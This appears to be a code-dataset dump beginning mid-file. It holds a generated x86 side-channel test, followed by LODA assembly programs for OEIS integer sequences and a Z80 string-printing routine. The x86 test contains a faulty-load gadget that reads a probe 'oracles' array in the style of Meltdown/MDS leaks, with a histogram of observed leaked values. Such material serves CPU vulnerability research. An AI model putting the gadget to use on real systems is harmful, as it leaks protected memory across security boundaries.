pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal_ht'}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32}} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'58': 21472, '00': 357} 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
33.607843
2,999
0.655776
ec0307c17a9426295fd75a1e72e12fe970efd0db
1,381
asm
Assembly
programs/oeis/244/A244239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/244/A244239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/244/A244239.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A244239: Number of partitions of n into 3 parts such that every i-th smallest part (counted with multiplicity) is different from i. ; 1,3,4,6,7,9,11,13,15,18,20,23,26,29,32,36,39,43,47,51,55,60,64,69,74,79,84,90,95,101,107,113,119,126,132,139,146,153,160,168,175,183,191,199,207,216,224,233,242,251,260,270,279,289,299,309,319,330,340,351,362,373,384,396,407,419,431,443,455,468,480,493,506,519,532,546,559,573,587,601,615,630,644,659,674,689,704,720,735,751,767,783,799,816,832,849,866,883,900,918,935,953,971,989,1007,1026,1044,1063,1082,1101,1120,1140,1159,1179,1199,1219,1239,1260,1280,1301,1322,1343,1364,1386,1407,1429,1451,1473,1495,1518,1540,1563,1586,1609,1632,1656,1679,1703,1727,1751,1775,1800,1824,1849,1874,1899,1924,1950,1975,2001,2027,2053,2079,2106,2132,2159,2186,2213,2240,2268,2295,2323,2351,2379,2407,2436,2464,2493,2522,2551,2580,2610,2639,2669,2699,2729,2759,2790,2820,2851,2882,2913,2944,2976,3007,3039,3071,3103,3135,3168,3200,3233,3266,3299,3332,3366,3399,3433,3467,3501,3535,3570,3604,3639,3674,3709,3744,3780,3815,3851,3887,3923,3959,3996,4032,4069,4106,4143,4180,4218,4255,4293,4331,4369,4407,4446,4484,4523,4562,4601,4640,4680,4719,4759,4799,4839,4879,4920,4960,5001,5042,5083,5124,5166,5207,5249,5291,5333,5375,5418 mov $2,$0 lpb $0 add $1,$2 mul $1,2 lpb $0 trn $0,2 sub $1,$2 add $1,$0 trn $2,3 lpe add $1,1 lpe add $1,1
81.235294
1,112
0.742216
4a3449ae43112f4c2e789586c0c0f575b72d80a2
558
asm
Assembly
programs/oeis/007/A007283.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/007/A007283.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/007/A007283.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A007283: a(n) = 3*2^n. ; 3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196608,393216,786432,1572864,3145728,6291456,12582912,25165824,50331648,100663296,201326592,402653184,805306368,1610612736,3221225472,6442450944,12884901888,25769803776,51539607552,103079215104,206158430208,412316860416,824633720832,1649267441664,3298534883328,6597069766656,13194139533312,26388279066624,52776558133248,105553116266496,211106232532992,422212465065984,844424930131968,1688849860263936,3377699720527872,6755399441055744 mov $1,2 pow $1,$0 mul $1,3
79.714286
503
0.854839
79c4fb23d8e6f957ca32f62c6f3485f5760ff9cd
516
asm
Assembly
programs/oeis/211/A211266.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/211/A211266.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/211/A211266.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A211266: Number of integer pairs (x,y) such that 0<x<y<=n and x*y<=2n. ; 0,1,3,5,7,10,12,15,18,21,24,28,30,34,38,41,44,49,51,56,60,63,67,72,75,79,83,88,91,97,99,104,109,112,117,123,125,130,135,140,143,149,152,157,163,167,170,177,180,186,190,194,199,205,209,215,219,223 mov $2,$0 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 mov $3,$0 mul $3,2 seq $3,92405 ; a(n) = tau(n) + tau(n+1), where tau(n) = A000005(n), the number of divisors of n. div $3,2 mov $4,$3 sub $4,1 add $1,$4 lpe mov $0,$1
27.157895
197
0.604651
69aac52cd90ecc0770a9df431999443e9101e070
1,358
asm
Assembly
bfloat/print_txt.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
12
2020-02-17T09:07:02.000Z
2022-02-09T22:15:34.000Z
bfloat/print_txt.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
null
null
null
bfloat/print_txt.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
1
2021-06-21T23:30:28.000Z
2021-06-21T23:30:28.000Z
if not defined PRINT_TXT include "print_init.asm" ; Input: ; Stack: first adress string, second return adress PRINT_TXT: EX (SP), HL ; 1:19 Address of string PUSH DE ; 1:11 PUSH BC ; 1:11 PUSH AF ; 1:11 PUSH HL ; 1:11 LD L, $1A ; 2:7 Upper screen CALL $1605 ; 3:17 Open channel POP HL ; 1:10 Address of string LD D, H ; 1:4 LD E, L ; 1:4 LD A, STOP_MARK ; 2:7 PRINT_LENGTH: INC HL ; 1:6 CP (HL) ; 1:7 JR nz, PRINT_LENGTH ; 2:12/7 SBC HL, DE ; 2:15 LD B, H ; 1:4 LD C, L ; 1:4 BC = Lenght of string to print CALL $203E ; 3:17 Print our string POP AF ; 1:10 POP BC ; 1:10 POP DE ; 1:10 POP HL ; 1:10 ; HALT ; HALT RET ; 1:10 endif
33.95
78
0.301915
ab5fd68f690b0da983e610d9a981e14f4e8e684b
117
asm
Assembly
unit_tests/static-tests/common/cpu.assert16i.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
34
2016-06-17T16:47:47.000Z
2021-12-07T08:09:50.000Z
unit_tests/static-tests/common/cpu.assert16i.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
1
2016-09-30T09:22:36.000Z
2016-09-30T12:28:33.000Z
unit_tests/static-tests/common/cpu.assert16i.error.asm
undisbeliever/untech-engine
2cd0df80e88161d4d509242237cfdd2d9a030a8b
[ "MIT" ]
null
null
null
// Test cpu.inc architecture wdc65816-strict include "../../../src/common/cpu.inc" sep($30) assert16i() // ERROR
11.7
37
0.65812
0147766f5c6c91247112709fb2f901ddfb425bea
1,491
asm
Assembly
tools/cracktro_v1_logo_converter.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
tools/cracktro_v1_logo_converter.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
tools/cracktro_v1_logo_converter.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
ORG #6000 LD HL,30000 LD DE,#4000 LD BC,#1B00 LDIR LD HL,#4008 LD B,8 LD DE,40000 FUCK PUSH BC PUSH HL PUSH HL LD BC,#C001 CALL SCR POP HL PUSH DE LD DE,8 ADD HL,DE POP DE PUSH HL LD BC,#C001 CALL SCR POP HL PUSH DE LD DE,8 ADD HL,DE POP DE LD BC,#6801 CALL SCR POP HL INC HL POP BC DJNZ FUCK LD HL,#5808 LD BC,#1808 CALL ATTR LD HL,#5810 LD BC,#1808 CALL ATTR LD HL,#5818 LD BC,#0D08 CALL ATTR RET SCR LOOP PUSH BC PUSH HL LOOP1 LD A,(HL) LD (HL),#FF LD (DE),A INC DE INC H LD A,H AND 7 JR NZ,AROUND LD A,L ADD A,#20 LD L,A JR C,AROUND LD A,H SUB 8 LD H,A AROUND DJNZ LOOP1 HALT POP HL INC HL POP BC DEC C JR NZ,LOOP RET ATTR PUSH BC LD (REG_HL+1),HL LD B,0 LDIR PUSH HL REG_HL LD HL,0 LD A,1+4+16+64+128 LD (HL),A POP HL PUSH DE LD DE,#18 ADD HL,DE HALT HALT HALT HALT HALT POP DE POP BC DJNZ ATTR RET
15.371134
26
0.377599
082efd191587f2a5674dadc45a780c3ed1c7a328
5,994
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1713.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1713.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1713.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x2829, %rax nop nop add $48728, %r11 mov (%rax), %r9d nop nop nop nop nop add %rcx, %rcx lea addresses_UC_ht+0xb231, %rsi lea addresses_WC_ht+0x19b49, %rdi nop nop cmp $39954, %rdx mov $81, %rcx rep movsl nop nop nop nop nop add %rsi, %rsi lea addresses_WC_ht+0xabc9, %rcx nop cmp %rsi, %rsi vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r9 nop nop nop nop nop inc %rdx lea addresses_A_ht+0x18641, %rcx nop nop xor $4743, %rdi mov (%rcx), %ax and %rsi, %rsi lea addresses_D_ht+0x183c9, %r11 nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, (%r11) nop nop add $63025, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rbp push %rdi push %rsi // Store lea addresses_RW+0x1639b, %rsi nop nop nop and $32884, %r9 mov $0x5152535455565758, %rax movq %rax, (%rsi) nop nop nop nop nop cmp %rax, %rax // Store lea addresses_A+0x132f1, %rbp clflush (%rbp) nop xor %r8, %r8 mov $0x5152535455565758, %rax movq %rax, (%rbp) nop nop nop sub $42426, %rbp // Store lea addresses_PSE+0x19b49, %rdi add %r14, %r14 mov $0x5152535455565758, %r9 movq %r9, %xmm3 vmovups %ymm3, (%rdi) nop nop nop nop dec %rax // Faulty Load lea addresses_D+0x5dc9, %rax nop nop cmp $17878, %r9 movaps (%rax), %xmm6 vpextrq $1, %xmm6, %r8 lea oracles, %rbp and $0xff, %r8 shlq $12, %r8 mov (%rbp,%r8,1), %r8 pop %rsi pop %rdi pop %rbp pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} [Faulty Load] {'src': {'type': 'addresses_D', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 8}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}} {'08': 6, '48': 10077, 'ff': 7, '00': 11739} 00 48 00 00 48 00 00 00 00 00 48 00 00 48 00 48 00 48 48 00 48 00 48 48 48 48 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 48 00 00 00 00 48 00 48 00 00 00 48 00 48 00 00 48 48 48 00 48 00 48 48 48 00 00 48 48 48 00 00 00 00 48 48 48 00 00 48 48 48 48 00 48 00 48 48 48 00 00 48 00 00 48 00 00 00 00 48 48 48 00 00 00 48 48 48 48 00 00 00 48 48 00 48 48 48 00 00 48 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 48 00 48 48 00 48 00 48 48 48 48 00 48 00 00 00 48 00 00 48 00 48 48 48 48 00 48 00 48 00 48 48 00 48 00 48 00 00 00 48 48 00 48 00 48 48 00 48 00 48 00 48 00 00 48 00 48 00 00 48 00 48 00 48 48 00 48 00 48 48 00 48 00 48 00 00 48 48 48 48 00 00 00 48 00 00 48 00 48 00 48 00 48 48 00 48 00 48 48 00 48 00 00 48 48 48 00 00 00 48 00 48 00 00 48 00 00 48 48 00 00 00 00 48 00 48 48 00 48 00 48 48 00 48 00 00 48 48 00 00 48 00 48 48 00 48 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 48 48 48 00 00 00 00 00 48 48 48 00 48 00 48 00 48 48 00 48 00 00 48 00 48 00 00 48 00 48 48 00 00 00 48 00 48 48 00 00 48 00 48 48 48 48 00 48 00 00 00 00 48 00 00 48 00 48 00 48 00 00 00 00 00 00 48 48 00 00 00 48 00 48 00 00 48 00 48 00 00 48 48 48 00 00 48 48 48 00 48 48 00 48 00 48 48 48 48 00 48 00 48 48 48 48 00 00 00 48 48 00 48 00 48 00 00 48 00 00 48 48 00 00 48 00 48 48 48 00 00 48 00 00 00 00 48 48 48 00 00 48 48 00 48 00 48 48 48 48 00 48 00 48 00 00 48 00 48 00 48 48 00 48 00 48 48 48 00 00 00 00 48 48 48 48 00 48 48 48 00 00 00 00 48 00 00 48 00 48 00 00 48 00 48 00 48 00 00 00 00 48 00 48 00 00 48 00 48 00 48 00 00 48 00 00 48 00 00 48 48 00 00 00 48 00 48 00 48 00 00 48 48 00 48 00 48 48 48 48 00 48 00 48 48 00 48 00 48 00 00 48 00 00 00 00 48 00 00 00 48 48 48 48 00 48 00 00 48 00 00 00 48 48 00 48 00 48 00 48 00 00 00 00 48 48 48 00 00 48 00 00 00 00 00 00 48 00 48 00 48 48 48 48 00 00 00 48 00 48 00 48 48 00 48 00 48 00 00 00 48 48 00 00 00 48 00 00 48 00 48 48 48 00 00 48 00 00 48 00 48 00 00 48 48 48 00 48 00 00 48 00 48 00 48 48 48 00 00 48 00 48 00 00 48 00 48 00 48 00 48 00 00 48 00 00 48 00 00 48 00 48 00 00 48 00 00 48 00 00 48 00 48 48 48 48 00 48 00 48 48 48 48 00 48 48 48 00 00 48 00 00 00 48 48 00 00 48 48 00 00 48 00 48 00 00 48 00 00 00 48 00 48 48 48 00 00 48 00 48 00 00 48 00 48 00 48 48 48 00 00 48 00 00 00 00 48 00 00 48 00 48 00 00 00 00 48 00 00 48 00 00 48 48 48 00 00 00 48 00 00 00 00 00 00 00 48 00 48 00 48 00 48 00 00 00 48 00 00 00 48 48 00 00 00 00 48 00 48 00 48 48 48 48 48 00 48 00 00 00 00 00 48 00 48 48 00 48 48 48 48 00 48 00 48 48 48 48 00 48 00 48 48 48 48 00 48 00 48 48 00 48 48 48 48 00 48 00 48 48 48 00 48 00 48 00 00 48 00 48 00 48 48 00 48 00 48 00 00 48 00 48 00 00 00 00 48 48 48 00 00 00 48 00 00 00 00 48 00 48 48 48 00 00 48 00 00 00 00 48 00 48 48 00 00 00 00 00 00 48 00 48 00 48 48 48 48 00 00 00 48 48 48 00 00 48 00 48 48 48 48 00 48 00 48 48 48 00 48 48 48 00 00 48 00 48 00 00 48 00 48 00 00 00 00 48 00 00 00 48 48 00 48 00 48 00 00 48 00 48 00 48 48 48 00 00 48 00 48 00 48 48 00 48 00 48 00 00 48 48 48 00 */
37.698113
2,999
0.654821
699fed5df153180e510702f723ff2000590dc454
787
asm
Assembly
programs/oeis/245/A245806.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/245/A245806.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/245/A245806.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A245806: 3^n + 10^n. ; 2,13,109,1027,10081,100243,1000729,10002187,100006561,1000019683,10000059049,100000177147,1000000531441,10000001594323,100000004782969,1000000014348907,10000000043046721,100000000129140163,1000000000387420489,10000000001162261467,100000000003486784401,1000000000010460353203,10000000000031381059609,100000000000094143178827,1000000000000282429536481,10000000000000847288609443,100000000000002541865828329,1000000000000007625597484987,10000000000000022876792454961,100000000000000068630377364883,1000000000000000205891132094649,10000000000000000617673396283947,100000000000000001853020188851841,1000000000000000005559060566555523,10000000000000000016677181699666569,100000000000000000050031545098999707 mov $1,3 pow $1,$0 mov $2,10 pow $2,$0 add $1,$2 mov $0,$1
78.7
703
0.900889
8e17e6b2fa5686f4f8082b2c408ef79b15da2aff
588
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sccz80/getline_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/getline_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sccz80/getline_callee.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; size_t getline(char **lineptr, size_t *n, FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC getline_callee EXTERN asm_getline getline_callee: pop hl pop ix pop de ex (sp),hl jp asm_getline ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC getline_callee EXTERN getline_unlocked_callee defc getline_callee = getline_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
15.076923
57
0.513605
b13de35dde1f843c97a99f88133ad7217bb62e02
928
asm
Assembly
programs/oeis/212/A212901.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/212/A212901.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/212/A212901.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A212901: Number of (w,x,y,z) with all terms in {0,...,n} and equal consecutive gap sizes. ; 1,4,13,26,45,66,95,126,163,204,251,300,357,416,481,550,625,702,787,874,967,1064,1167,1272,1385,1500,1621,1746,1877,2010,2151,2294,2443,2596,2755,2916,3085,3256,3433,3614,3801,3990,4187,4386,4591 mov $2,$0 add $2,1 mov $6,$0 lpb $2 mov $0,$6 sub $2,1 sub $0,$2 mov $7,$0 add $7,1 mov $8,0 mov $13,$0 lpb $7 mov $0,$13 sub $7,1 sub $0,$7 mov $9,$0 mov $11,2 lpb $11 mov $0,$9 sub $11,1 add $0,$11 sub $0,1 mov $4,$0 div $0,2 add $0,$4 mov $3,$4 div $3,3 mov $5,2 mul $5,$0 add $5,$3 mul $5,2 mov $12,$11 lpb $12 mov $10,$5 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$5 lpe mov $5,$10 trn $5,3 add $5,1 add $8,$5 lpe add $1,$8 lpe mov $0,$1
17.509434
196
0.490302
da09b4c54a7823f11c802d8a27aa65ed39a512c8
1,750
asm
Assembly
programs/oeis/152/A152777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/152/A152777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/152/A152777.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A152777: 7 times heptagonal numbers: 7*n*(5*n-3)/2. ; 0,7,49,126,238,385,567,784,1036,1323,1645,2002,2394,2821,3283,3780,4312,4879,5481,6118,6790,7497,8239,9016,9828,10675,11557,12474,13426,14413,15435,16492,17584,18711,19873,21070,22302,23569,24871,26208,27580,28987,30429,31906,33418,34965,36547,38164,39816,41503,43225,44982,46774,48601,50463,52360,54292,56259,58261,60298,62370,64477,66619,68796,71008,73255,75537,77854,80206,82593,85015,87472,89964,92491,95053,97650,100282,102949,105651,108388,111160,113967,116809,119686,122598,125545,128527,131544,134596,137683,140805,143962,147154,150381,153643,156940,160272,163639,167041,170478,173950,177457,180999,184576,188188,191835,195517,199234,202986,206773,210595,214452,218344,222271,226233,230230,234262,238329,242431,246568,250740,254947,259189,263466,267778,272125,276507,280924,285376,289863,294385,298942,303534,308161,312823,317520,322252,327019,331821,336658,341530,346437,351379,356356,361368,366415,371497,376614,381766,386953,392175,397432,402724,408051,413413,418810,424242,429709,435211,440748,446320,451927,457569,463246,468958,474705,480487,486304,492156,498043,503965,509922,515914,521941,528003,534100,540232,546399,552601,558838,565110,571417,577759,584136,590548,596995,603477,609994,616546,623133,629755,636412,643104,649831,656593,663390,670222,677089,683991,690928,697900,704907,711949,719026,726138,733285,740467,747684,754936,762223,769545,776902,784294,791721,799183,806680,814212,821779,829381,837018,844690,852397,860139,867916,875728,883575,891457,899374,907326,915313,923335,931392,939484,947611,955773,963970,972202,980469,988771,997108,1005480,1013887,1022329,1030806,1039318,1047865,1056447,1065064,1073716,1082403 mov $1,$0 bin $0,2 mul $0,5 add $1,$0 mul $1,7
194.444444
1,647
0.832571
